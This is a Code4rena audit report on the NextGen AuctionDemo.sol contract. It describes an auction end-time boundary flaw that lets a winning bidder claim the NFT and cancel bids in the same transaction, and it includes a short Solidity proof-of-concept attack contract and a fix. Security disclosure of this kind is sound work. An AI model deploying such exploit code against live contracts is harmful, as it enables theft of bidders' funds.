Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 235/243
Findings: 1
Award: $0.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135
In auction contract users can bid on the auction and when the auction has ended winner can call the claimAuction
function to receive the token, however the problem is you are using >=
and <=
for checking the auction end time in claimAuction
and cancelBid
functions:
File: 2023-10-nextgen\smart-contracts\AuctionDemo.sol 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 125: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
So how attacker can steal funds?
since winner can call claimAuction function, malicious winner can call this function in the exact time equal to the auction end time this way he will pass the check for auction end time and he will be able to claim the NFT and also call cancelBid
in the same transaction to get back his bid amount. he can drain whole funds available in the auction contract by creating multiple bids (because you refund bidders who didn't won this way if attacker calls cancelBid he will be able to receive double value of their bid one that was refunded and one for canceling their bid in the same transaction)
Imagine auction is created, what attacker do is he will create multiple bids and also make sure one of this bids make him a winner, then he waits till the auction end time and call the claimAuction
function in the exact time this way he will be able to cancel all of the bids in the same transaction to receive double amount and also receive the NFT.
attacker can use this simple contract to perform the attack
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // importing interfaces import "./IAuction.sol"; contract AttackGMX{ address public immutable owner; address public immutable Auction; modifier onlyOwner(){ require(msg.sender == owner, "not owner"); _; } constructor(address _Auction){ owner = msg.sender; Auction = _Auction; } // attacker use this function to bid multiple times function bid(uint256 tokenId) public payable{ IAuction(Auction).participateToAuction{value: msg.value}(tokenId); } // attacker call this function to perform the attack function attack(uint256 tokenId) public payable { IAuction(Auction).claimAuction(tokenId); // canceling all bids in the same transaction IAuction(Auction).cancelAllBids(tokenId); } function withdraw(address token) public onlyOwner{ uint256 balance = address(this).balance; (bool success,) = owner.call{value: balance}(""); } }
Manual review
You need to remove the =
for checking the end time on both claimAuction, cancelBid and cancelAllBids function.
just use >
and <
Invalid Validation
#0 - c4-pre-sort
2023-11-14T10:45:22Z
141345 marked the issue as duplicate of #1904
#1 - c4-pre-sort
2023-11-14T23:31:42Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-01T15:00:03Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T15:00:13Z
alex-ppg marked the issue as duplicate of #1788
#4 - c4-judge
2023-12-08T17:54:10Z
alex-ppg marked the issue as satisfactory